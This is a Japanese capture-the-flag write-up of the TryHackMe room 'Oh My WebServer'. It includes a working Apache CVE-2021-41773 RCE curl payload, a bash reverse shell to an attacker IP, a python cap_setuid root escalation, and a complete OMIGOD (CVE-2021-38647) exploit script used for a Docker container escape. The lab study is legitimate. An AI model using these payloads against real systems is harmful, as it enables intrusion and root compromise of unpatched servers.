はじめに
この記事は、TryHackMeのwriteupです。
RoomはOh My WebServer、(難易度)はMediumです。
このRoomでは、Apache 2.4.49の脆弱性(CVE-2021-41773)を用いたRCEの悪用やOMIGOD(CVE-2021-38647)という脆弱性を用いた認証バイパスを仲介とするDockerコンテナ内からの脱獄について学ぶことができます。
Recon
Port Scan
Scanned at 2026-06-15 00:45:26 JST for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMlfGBGWZkPg98VnvD+FVeesHsQwmtoJfMOMhifMjxD9AEluFQNVnoyxyQi5y9O2/AN/MO+l57li33lHiVjD1eglBjB3Lkzz3tpRJSmGn2Ug3jRypShkSJ9VkUVFElw8MXke62w3+9pi+S0Ub1DqcttGH8TqihiWvqJbJYnecqjdcka1uKPdPna0gleow9JiaAH3X4EMFdcXZDOGgnOaZId2mEXFDeNNYFZpS+EOcLgXaAp1NobUckE9NXvE73qw+pBNo69m3z4MG7/cJNIsQiFpm5yqgCKJGjhwGFp4zAMXOD23lj1g+iQlwrchwY5nBEHHae1PjQwLjwuWebjWR+bWPalPVYa4d8+15TjjgV8VW/Rac3rTX+A/buyVxUSMhkBtn7fQ2sLoMPPn7vRDo3ggGl5IZaYIvSYRDk9nadsZk+YKUCSgFf97z0PK278vbrPwjJTyyScAnjvs+oLnD/bAdja4uwOOS2CHehjzipVmWf7zR3srIfjZQ4aAUmeh8=
| 256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLf6FvNwGNtpra24lyJ4YWPqB8olwPXhKdr6gSW6Dc+oXdZJbQPtpD7cph3nvR9sQQnTKGiG69XyGKh0ervYI1U=
| 256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzBDIQu+cp4gApnTbTbtmqljyAcr/Za8goiY57VM+uq
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.49 ((Unix))
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-server-header: Apache/2.4.49 (Unix)
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http://[target_ip]/にアクセスすると、以下のようなWebサイトが表示されます。
Scanning
Gobuster
┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ gobuster dir -u http://[target_ip]/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess (Status: 403) [Size: 199]
.hta (Status: 403) [Size: 199]
.htpasswd (Status: 403) [Size: 199]
assets (Status: 301) [Size: 235] [--> http://[target_ip]/assets/]
cgi-bin/ (Status: 403) [Size: 199]
index.html (Status: 200) [Size: 57985]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
Dirsearch
┌──(rikuxx㉿kali)-[~]
└─$ dirsearch -u http://[target_ip]/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/rikuxx/reports/http_[target_ip]/__26-06-15_00-49-11.txt
Target: http://[target_ip]/
[00:49:11] Starting:
[00:49:14] 403 - 199B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[00:49:14] 403 - 199B - /%2e%2e//google.com
[00:49:17] 403 - 199B - /.ht_wsr.txt
[00:49:17] 403 - 199B - /.htaccess.bak1
[00:49:17] 403 - 199B - /.htaccess.orig
[00:49:17] 403 - 199B - /.htaccess.sample
[00:49:17] 403 - 199B - /.htaccess.save
[00:49:17] 403 - 199B - /.htaccess_extra
[00:49:17] 403 - 199B - /.htaccess_orig
[00:49:17] 403 - 199B - /.htaccessBAK
[00:49:17] 403 - 199B - /.htaccessOLD2
[00:49:17] 403 - 199B - /.htaccess_sc
[00:49:17] 403 - 199B - /.htaccessOLD
[00:49:17] 403 - 199B - /.httr-oauth
[00:49:17] 403 - 199B - /.htpasswd_test
[00:49:17] 403 - 199B - /.htpasswds
[00:49:17] 403 - 199B - /.htm
[00:49:17] 403 - 199B - /.html
[00:49:36] 301 - 235B - /assets -> http://[target_ip]/assets/
[00:49:36] 200 - 404B - /assets/
[00:49:39] 403 - 199B - /cgi-bin/
[00:49:39] 500 - 528B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[00:49:39] 500 - 528B - /cgi-bin/printenv
[00:49:39] 500 - 528B - /cgi-bin/test-cgi
Task Completed
このことから、もしかしたら、/cgi-bin/test-cgiからRCEできるかもしれません。実際に疎通確認してみます。
┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s http://[target_ip]/cgi-bin/test-cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
you@example.com to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>
おそらくですが、以下のwriteupからShellShock脆弱性があるかもしれないと仮定しました。
Exploitation
以下の脆弱性をもとにしました。
そこで、以下のようなcurlコマンドを叩くと、実際にidコマンドが実行され、OSコマンドインジェクションが成り立っていることがわかります。
┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s --data "echo; id" "http://[target_ip]/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)
リバースシェルをします。
- 攻撃者側
┌──(rikuxx㉿kali)-[~/tryhackme/Oh_My_WebServer]
└─$ curl -s --data "echo; bash -c 'bash -i >& /dev/tcp/[MY_IP]/1234 0>&1'" "http://[target_ip]/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
- リッスン側
┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.141.167] from (UNKNOWN) [10.48.157.80] 36768
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$
このようにリバースシェルを張ることに成功しました。
ここでシェルアップグレードを行います。
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
SUID, Getcapから権限昇格できないかを調べます。
daemon@4a70924bafa0:/$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/local/apache2/bin/suexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
daemon@4a70924bafa0:/$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep
上記の結果から python3.7 に cap_setuid+ep という強力な権限(Capability)が付与されている状態になっています。
/usr/bin/python3.7 = cap_setuid+ep
このようなことから、/usr/bin/python3.7を使用するときに、/bin/shが起動できれば権限昇格できるかもしれません。
e と p のそれぞれの意味
p (Permitted:許可)
- 特権を持つことを許されている状態です
e (Effective:有効)
- 特権が今すぐ使える(有効化されている)状態です
また、通常、一般ユーザー(daemon)は自分以外のユーザー(特にroot)に成り代わることはできませんが、この設定があるおかげで、Pythonを通じて自身のユーザーID(UID)を強制的に 0(root)に変更することができますかもしれません。
実際に実行すると、コンテナ内の権限昇格に成功しました。
daemon@4a70924bafa0:/$ python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
root@4a70924bafa0:/#
/rootディレクトリに、user.txtがあるのでユーザーフラグを取得することができます。
root@4a70924bafa0:/# cd root
cd root
root@4a70924bafa0:/root# ls
ls
user.txt
root@4a70924bafa0:/root# cat user.txt
cat user.txt
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}
What is the user flag?
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXX}
Docker Container Escape
routeコマンドから別で接続された外部IPを探索したところ、172.17.0.0というIPアドレスがあるようです。
root@4a70924bafa0:/# ip route
ip route
bash: ip: command not found
root@4a70924bafa0:/# route -n
route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.17.0.1 0.0.0.0 UG 0 0 0 eth0
172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
root@4a70924bafa0:/#
以下のPythonスクリプトを使用し、簡易的なポートスキャンを行います。
python3 -c '
import socket
target = "172.17.0.1"
print(f"Scanning {target}...")
for port in [22, 80, 443, 3306, 5000, 5984, 6379, 8000, 8080, 9000, 2222]: # よくあるポート
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.2)
if s.connect_ex((target, port)) == 0:
print(f" [+] Port {port} is OPEN")
s.close()
print("Scan completed.")
'
実際に実行したところ、ポート22と80空いていることはわかりますが、これでは進めようがなさそうです。
root@4a70924bafa0:/# python3 -c '
import socket
target = "172.17.0.1"
print(f"Scanning {target}...")
for port in [22, 80, 443, 3306, 5000, 5984, 6379, 8000, 8080, 9000, 2222]: # よくあるポート
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.2)
if s.connect_ex((target, port)) == 0:
print(f" [+] Port {port} is OPEN")
s.close()
print("Scan completed.")
'python3 -c '
> import socket
> target = "172.17.0.1"
> print(f"Scanning {target}...")
<, 8000, 8080, 9000, 2222]: # よくあるポート
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> s.settimeout(0.2)
> if s.connect_ex((target, port)) == 0:
> print(f" [+] Port {port} is OPEN")
> s.close()
> print("Scan completed.")
>
'
Scanning 172.17.0.1...
[+] Port 22 is OPEN
[+] Port 80 is OPEN
Scan completed.
そこで1〜10000番のフルポートスキャンを以下のコードで実行しました。
root@4a70924bafa0:/# python3 -c '
import socket
target = "172.17.0.1"
print("Scanning ports 1-10000...")
for port in range(1, 10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.01) # 高速化のためタイムアウトを短く設定
if s.connect_ex((target, port)) == 0:
print(f" [+] Port {port} is OPEN")
s.close()
print("Scan completed.")
'python3 -c '
> import socket
> target = "172.17.0.1"
> print("Scanning ports 1-10000...")
> for port in range(1, 10000):
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
<高速化のためタイムアウトを短く設定
> if s.connect_ex((target, port)) == 0:
> print(f" [+] Port {port} is OPEN")
> s.close()
> print("Scan completed.")
>
'
Scanning ports 1-10000...
[+] Port 22 is OPEN
[+] Port 80 is OPEN
[+] Port 5986 is OPEN
Scan completed.
root@4a70924bafa0:/#
すると、ポート5986が空いていることがわかります。
つまり、このLinux環境(Ubuntu)のホストマシンで、「OMI(Open Management Infrastructure)」 という、Linux向けの管理サービスが動いているかもしれません。そして、そして、このOMIには、非常に深刻な脆弱性 「OMIGOD」(CVE-2021-38647) があるかもしれません。
この脆弱性は、「認証ヘッダーを完全に空(または削除)にしてリクエストを送ると、相手がroot権限でコマンドを実行してしまう」 という単純な認証バイパス(RCE)のことです。
以下のリポジトリに存在するomigod.pyのコードを利用します。
以下のようなスクリプトを対象コンテナ内に作成します。
cat << 'EOF' > /tmp/omigod_real.py
#!/usr/bin/python3
import argparse
import re
import requests
import urllib3
from xml.etree import ElementTree
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# SOAP payload from https://github.com/midoxnet/CVE-2021-38647
DATA = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>{}</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
"""
def exploit(target, command):
headers = {'Content-Type': 'application/soap+xml;charset=UTF-8'}
r = requests.post(f'https://{target}:5986/wsman', headers=headers, data=DATA.format(command), verify=False)
output = re.search('<p:StdOut>(.*)</p:StdOut>', r.text)
error = re.search('<p:StdErr>(.*)</p:StdErr>', r.text)
if output:
if output.group(1):
print(output.group(1).rstrip(' '))
if error:
if error.group(1):
print(error.group(1).rstrip(' '))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-c', '--command', help='The command to run')
args = parser.parse_args()
exploit(args.target, args.command)
EOF
そして、以下のように実行することで、idコマンドを実行することに成功し、これは実質、コンテナ外のシェルへ到達していることを意味します。
root@4a70924bafa0:/tmp# python3 /tmp/omigod_real.py -t 172.17.0.1 -c "id"
python3 /tmp/omigod_real.py -t 172.17.0.1 -c "id"
uid=0(root) gid=0(root) groups=0(root)
root@4a70924bafa0:/tmp#
/rootディレクトリにあるroot.txtからルートフラグを取得することができます。
root@4a70924bafa0:/tmp# python3 /tmp/omigod_real.py -t 172.17.0.1 -c "cat /root/root.txt"
<migod_real.py -t 172.17.0.1 -c "cat /root/root.txt"
THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}
root@4a70924bafa0:/tmp#
What is the root flag?
Answer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}
以下のwriteupも参考にしました。
終わり
今回は、RCEを悪用を連鎖させた認証バイパスを仲介とするDockerコンテナ内から脱獄するラボについて解きました。
RCEを使って、コンテナから脱獄する方法についてはなかなか斬新だなと思いました。結構、面白かったです。
Tips
RCE攻撃を用いたコンテナ脱出
今まで、k8sにおけるPod脱獄、実質、コンテナ脱獄について触れることがありました。しかし、それは、Podを作成を行えることが前提でした。
以下は自分が書いた記事になります。
今回は、また視点を変えて、RCEを攻撃チェーンとして連鎖させ、コンテナから脱獄する方法があります。
先ほどあったようなコンテナ内で、何かしらのRCEすることができる脆弱性を持ち、なおかつ、それを悪用できる場合です。他にも実例として、以下のようなこと挙げられます。
ただ、Pod脱獄に関してはRBAC権限によりリソース管理が甘かったりすることで、コンテナをエスケープされるのに対して、RCEを攻撃チェーンとして連鎖させ、コンテナから脱獄する方法に関しては、ただ単に、コンテナ内にある既知、もしくはゼロデイで発見されたRCEの脆弱性があるだけでコンテナエスケープが成立してしまいます。
このことから、コンテナにおけるリソース管理だけではなく、内部の脆弱なライブラリやアーキテクチャにも注意を払うべきであることがわかります。
ご参考になると幸いです。
